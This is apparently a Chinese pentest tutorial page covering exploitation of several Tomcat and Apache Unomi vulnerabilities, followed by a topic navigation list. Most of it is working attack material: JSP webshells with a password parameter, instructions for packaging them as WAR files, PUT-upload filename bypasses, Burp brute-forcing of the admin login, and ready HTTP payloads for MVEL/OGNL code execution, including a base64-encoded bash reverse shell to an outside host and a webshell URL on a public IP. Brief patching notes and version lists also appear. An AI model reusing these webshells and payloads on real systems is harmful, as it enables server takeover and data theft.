# Tomcat常见的漏洞总结
## 0、CVE-2020-1938文件包含漏洞
**漏洞描述**
该漏洞是由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件,如:webapp配置文件或源代码等。若目标服务器同时存在文件上传功能,攻击者可进一步实现远程代码执行。
**漏洞影响版本**
>Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.51
Apache Tomcat 9 < 9.0.31
**不受影响版本**
>Apache Tomcat = 7.0.100
Apache Tomcat = 8.5.51
Apache Tomcat = 9.0.31
**漏洞分析**
Tomcat在处理ajp协议时存在漏洞,可通过调用request.setAttribute为Tomcat设置任意request属性。
当ajp URI设置为非jsp路径时,Tomcat会调用DefaultServlet处理,此时会导致web目录任意文件读取漏洞。
当ajp URI设置为jsp路径时,Tomcat会调用JspServlet处理,此时会导致JSP文件包含漏洞
**漏洞复现**
1. 使用nmap扫描目标是否开启了8009端口
2. 使用poc扫描目标网站
下载地址: https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
命令:`python xx.py 192.x.x.x -p 8009 -f WEB-INF/web.xml`
3. 默认是读取ROOT路径下的web.xml
如果想换路径需要更改POC源码里的`perform_request`的位置只能在webapps下的)
**防御方式**
1. 禁用AJP协议
在tomcat安装路径中找到/conf/server.xml文件,删除或注释下面这行代码:
`<Connector port="8009"protocol="AJP/1.3" redirectPort="8443" />`
2. 升级到tomcat最新版本
3. 配置secret来设置AJP协议的认证凭证,如:
```xml
<Connector port="8009"protocol="AJP/1.3" redirectPort="8443" address="YOUR_TOMCAT_IP_ADDRESS" secret="YOUR_TOMCAT_AJP_SECRET"/>
```
## 1、Tomcat后台弱口令漏洞
Tomcat后台存在弱口令,进入网站后点击登录然后使用burp进行爆破测试,可发现账户密码字段:`Authorization: Basic YWRtaW46YWRtaW4=`,解密后发现是用base64加密的`uaername:password`
**爆破方式:**
1. 使用burp抓包后发送到 Intrude 模块进行暴力破解
2. 使用burp模糊测试模块中的`custom iteactor`自定义迭代类型的payload
该类型的payload共分为8个占位符,每一个占位符又可以指定简单列表的payload类型。再根据占位的数值,于每一个payload列表区进行笛卡尔积生成集合组
3. 设置格式
设置第一个Position参数就是username参数,然后再进行添加paylaod字典。第二个参数就是冒号 : 第三个就是password字段。设置完成后再对数据字段进行base64编码就可以进行爆破。
4. 成功爆破出账号密码,然后使用base64解码得出明文账号密码
5. 使用爆破出的账号密码登录进去后台后发现有一个上传页面,直接上传一个war木马就可以
## 2、war木马的制作过程
1. 找到一个jsp的木马
```
<%
if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
```
2. 将jsp木马放入 jdk1.8.0_73的bin目录下,然后在cmd输出以下命令
注意是必须在java环境下的,必须使用管理员权限的
```
jar cvf +部署的war木马 +自己bin目录下的jsp木马
```
3. 木马制作成功,上传制作的war木马
4. 验证已经成功上传了木马
`x.x.x.x:51135/shell/1.jsp?pwd=023&i=ls`
## 3、CVE-2017-12615Tomcat远程代码执行漏洞(PUT请求)
**漏洞介绍**
当 Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT 请求方法,攻击者通过构造的攻击请求向服务器上传包含任意代码的 JSP 文件,造成任意代码执行,危害十分严重
**影响版本**
Apache Tomcat 7.0.0 - 7.0.81
**漏洞利用前提:**
需Tomcat开启了HTTP PUT请求
**漏洞原理分析**
Tomcat 的 Servlet 是在 conf/web.xml 配置的,通过配置文件可知,当后缀名为 .jsp 和 .jspx 的时候,是通过 JspServlet 处理请求的;而其他的静态文件是通过 DefaultServlet 处理的。可知'1.jsp '(末尾有空格)并不能匹配到 JspServlet,而是会交由 DefaultServlet 去处理。
当处理 PUT 请求时,会调用 `resources.bind:dirContext `为 FileDirContext调用 rebind 创建文件,又由于 Windows 不允许空格作为文件名结尾,所以会创建一个 .jsp 文件,导致代码执行。
**环境搭建**
下载Tomcat,安装成功后,需要开启HTTP PUT请求,首先打开Tomcat目录,找到配置文件`conf/web`
打开之后,`org.apache.catalina.servlets.DefaultServlet` 方法,并添加以下命令,添加成功后重启一下即可
```
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
```
**漏洞复现**
1. 使用burp进行抓包,将请求包发送到repeater模块中,将GET请求方法改为OPTIONS,查看请求方法
2. 发现启用了PUT方法,使用PUT请求上传jsp木马
```jsp
<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%>
<%!public static String excuteCmd(String c) {
StringBuilder line = new StringBuilder();
try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new
InputStreamReader(pro.getInputStream()));
String temp = null;while ((temp = buf.readLine()) != null) {
line.append(temp+"\n");}buf.close();} catch (Exception e) {
line.append(e.getMessage());}return line.toString();}%>
<%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){
out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>
```
3. 页面状态码返回201,表示木马写入成功
4. 到页面中访问(ip+1.jsp) url:
http://219.153.49.228:47195/shell.jsp?cmd=ls%20/&pwd=023
5. 该漏洞实际上是利用了window下文件名解析的漏洞来触发的。
通过构造特殊后缀名,绕过Tomcat检测,让Tomcat用DefaultServlet的逻辑处理请求,从而上传jsp webshell文件
```
# 有三种方法可以进行绕过
shell.jsp%20
shell.jsp::$DATA
shell.jsp/
```
## 4、CVE-2020-13942 Apache Unomi 远程代码执行漏洞
**Apache Unomi简介**
Apache Unomi 是一个基于标准的客户数据平台(CDP,Customer Data Platform),用于管理在线客户和访客等信息,以提供符合访客隐私规则的个性化体验,比如 GDPR 和“不跟踪”偏好设置。其最初于 Jahia 开发,2015 年 10 月 Unomi 成为Apache 软件基金会项目
**漏洞描述**
在Apache Unomi 1.5.1版本之前,攻击者可以通过精心构造的MVEL或ONGl表达式来发送恶意请求,使得Unomi服务器执行任意代码,漏洞对应编号为CVE-2020-11975,而CVE-2020-13942漏洞是对CVE-2020-11975漏洞的补丁绕过,攻击者绕过补丁检测的黑名单,发送恶意请求,在服务器执行任意代码
**漏洞影响版本**
Apache Unomi < 1.5.2
**环境搭建**
使用docker一键搭建的vulhub靶场,访问页面 ip:8181
通过8181和9443两个端口都可以触发漏洞,本次使用 8181端口进行漏洞复现
**漏洞复现**
1. 打开靶场首页,使用bp进行抓包,发送到Repeater模块构造数据包
2. 修改数据包
将GET请求改为POST请求;
删除多余的字段,保留HOST、User-Agent、Content-Length字段;
然后添加以下数据,将dnslog换为自己的地址。
```
POST /context.json HTTP/1.1
Host: 目标地址:8181
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/86.0.4240.198 Safari/537.36
Content-Length: 495
{
"filters": [
{
"id": "boom",
"filters": [
{
"condition": {
"parameterValues": {
"test": "script::Runtime r = Runtime.getRuntime(); r.exec(\"ping
br9yb9.dnslog.cn\");"
},
"type": "profilePropertyCondition"
}
}
]
}
],
"sessionId": "test"
}
```
3. 发送数据包,然后到dnslog中查看解析记录
4. 可以使用此漏洞来反弹shell,将bash反弹shell的命令进行编码,编码在线地址为
http://www.jackson-t.ca/runtime-exec-payloads.html
```
bash -i >& /dev/tcp/192.168.1.6/4444 0>&1
#编码后为
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuNi80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}
```
4. 将编码后的shell添加到以下poc的`r.exec`关键字地方 ()
```
POST /context.json HTTP/1.1
Host: localhost:8181
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 483
{
"filters": [
{
"id": "sample",
"filters": [
{
"condition": {
"parameterValues": {
"": "script::Runtime r = Runtime.getRuntime(); r.exec(\"bash -c
{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuNi80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}\");"
},
"type": "profilePropertyCondition"
}
}
]
}
],
"sessionId": "sample"
}
```
5. nc监听,接收反弹shell`nc -lvp 4444`
上面使用的是通过MVEL表达式执行任意命令,下面使用OGNL表达式执行任意命令
在漏洞首页抓取请求包然后发送到Repeater模块中构造数据包,构造的poc如下
```
POST /context.json HTTP/1.1
Host: localhost:8181
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 1064
{
"personalizations":[
{
"id":"gender-test",
"strategy":"matching-first",
"strategyOptions":{
"fallback":"var2"
},
"contents":[
{
"filters":[
{
"condition":{
"parameterValues":{
"propertyName":"(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).
(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).
(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{?
#this.name.equals(\"exec\")}.{? #this.getParameters()
[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).
(#execmethod.invoke(#rtobj,\"touch /tmp/ognl\"))",
"comparisonOperator":"equals",
"propertyValue":"male"
},
"type":"profilePropertyCondition"
}
}
]
}
]
}
],
"sessionId":"sample"
}
```
提交后可以看到成功在 /tmp/ 目录下成功创建了一个文件,也可以利用这个漏洞反弹shell
![c134e20a187845bdf0b4a70703092b00.png](../../_resources/c1e4b8fb0f254267baadd8b7538d9280.png)
## 5、CVE-2019-0232 Apache Tomcat远程代码执行漏洞
**漏洞描述**
该漏洞只对Windows平台有效,攻击者向CGI Servlet发送请求,可在具有Apache Tomcat权限的系统上注入和执行任意操作系统命令。
漏洞成因是当将参数从JRE传递到Windows环境时,由于CGI_Servlet中的输入验证错误而存在该漏洞。CGI_Servlet默认是关闭的
**漏洞影响范围**
>Apache Tomcat 9.0.0.M1 ~ 9.0.17
Apache Tomcat 8.5.0 ~ 8.5.39
Apache Tomcat 7.0.0 ~ 7.0.93
环境搭建
**环境:Java8+Apache Tomcat 8.5.39**
1. 安装tomcat需要java环境,jdk下载地址(https://www.oracle.com/java/technologies/javase-downloads.html)
2. 下载完后配置环境变量,输出java -version验证是否配置成功
3. 安装tomcat8.5.39版本
下载地址(https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.39/bin/)
4. 下载完成后进行解压然后配置tomcat,
打开Tomcat按目录下的conf/web.xml 取消以下两项的注释,否则访问cgi目录会提示404
```xml
<servlet>
<servlet-name>cgi</servlet-name>
<servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>cgiPathPrefix</param-name>
<param-value>WEB-INF/cgi-bin</param-value>
</init-param>
<init-param>
<param-name>executable</param-name>
<param-value></param-value>
</init-param>
<load-on-startup>5</load-on-startup>
</servlet>
<!-- The mapping for the CGI Gateway servlet -->
<servlet-mapping>
<servlet-name>cgi</servlet-name>
<url-pattern>/cgi-bin/*</url-pattern>
</servlet-mapping>
```
5. 修改在conf/context.xml中的`<Context>`,添加privileged="true"语句
6. 在webapps/ROOT/WEB-INF下创建一个cgi-bin文件夹,并在文件夹内创建一个test.bat
```bat
@echo off
echo Content-type: text/plain
echo.
set off=%~`
%off%
```
7. 都配置完成之后进入bin目录下运行startup.bat启动tomcat
8. 访问搭建后的页面,若出现tomcat页面则说明搭建成功
**漏洞复现**
1. 在浏览器访问,执行net user 命令
```
http://your-ip/cgi-bin/test.bat?&C%3A%5CWindows%5CSystem32%5Cnet%20user
```
2. 执行whoami命令
```
http://192.168.64.137:8080/cgi-bin/test.bat?c:/windows/system32/whoami.exe
```
**漏洞修复**
受影响版本的用户应该应用下列其中一项缓解。升级到:
>Apache Tomcat 9.0.18或更高版本
Apache Tomcat 8.5.40或更高版本
Apache Tomcat 7.0.93或更高版本
- src导航站
- kali和msf
- 信息收集
- 收集域名信息
- Whois 查询
- 备案信息查询
- 信用信息查询
- IP反查站点的站
- 浏览器插件
- 收集子域名信息
- 在线平台
- 工具枚举
- ssl与证书透明度
- DNS历史解析
- DNS域传送漏洞
- C段探测
- JS文件域名&ip探测
- 搜索引擎&情报社区
- google黑客
- 威胁情报
- 钟馗之眼
- 收集相关应用信息
- 微信公众号&微博
- APP收集&反编译
- 收集常用端口信息
- 常见端口&解析&总结
- 扫描工具
- 网络空间引擎搜索
- 浏览器插件
- nmap扫描
- 收集敏感信息
- 源码泄露
- 邮箱信息收集
- 备份文件泄露
- 目录&后台扫描
- 公网网盘
- 历史资产
- 指纹&WAF&CDN识别
- 指纹识别
- CDN识别
- 绕过CDN查找真实IP
- WAF识别
- 漏洞资源和社工
- 漏洞公共资源库
- 社会工程
- 资产梳理
- 各种对渗透有帮助的平台
- 扫描器
- 扫描器对比
- AppScan(IBM)_web和系统
- AWVS_web扫描
- X-Scan_系统扫描
- WebInspect_HP_WEB
- Netsparker_web
- WVSS_绿盟_web
- 安恒明鉴
- Nessus_系统
- nexpose_系统
- 启明天镜_web_系统
- SQL注入
- 常用函数
- sql注入步骤
- union注入和information_schema库
- 函数和报错注入
- SQL盲注
- 其他注入方式
- 防止SQL注入解决方案
- Access数据库注入
- MSSQL数据库注入
- MYSQL数据库注入
- 神器SQLmap
- xss跨站脚本攻击
- xss原理和分类
- xss案例和修复
- xss绕过技巧
- xss案例
- 文件上传下载包含
- 常有用文件路径
- 文件上传漏洞
- 文件下载漏洞
- 文件包含漏洞
- upload-labs上传漏洞练习
- XXE、SSRF、CSRF
- SSRF原理基础
- SSRF案例实战
- CSRF原理基础
- CSRF案例及防范
- XXE之XML_DTD基础
- XXE之payload与修复
- XXE结合SSRF
- 远程命令执行与反序列化
- 远程命令和代码执行漏洞
- 反序列化漏洞
- 验证码与暴力破解
- 爆破与验证码原理
- CS架构暴力破解
- BS架构暴力破解
- WEB编辑器漏洞
- 编辑器漏洞基础
- Ewebeditor编辑器
- FCKeditor编辑器
- 其他编辑器
- web中间件漏洞
- 中间件解析漏洞
- Tomcat常见的漏洞总结
- Jboss漏洞利用总结
- Weblogic漏洞利用总结
- WEB具体步骤
- 旁注和越权
- CDN绕过
- 越权与逻辑漏洞
- WEB应用常见其他漏洞
- WEB登陆页面渗透思路
- 获取WEBshell思路
- 社工、钓鱼、apt
- 社工和信息收集
- 域名欺骗
- 钓鱼邮件
- 一些钓鱼用的挂马工具
- 代码审计
- 代码审计工具
- WAF绕过
- WAF基础及云WAF
- 各种WAF绕过方法
- 绕过WAF上传文件
- 系统提权
- windows系统提权
- linux系统提权
- 数据库提权操作系统
- 内网横向渗透
- 内网穿透方式
- 一些内网第三方应用提权
- ARP与DOS
- ARP欺骗
- DOS与DDOS
- 一些DOS工具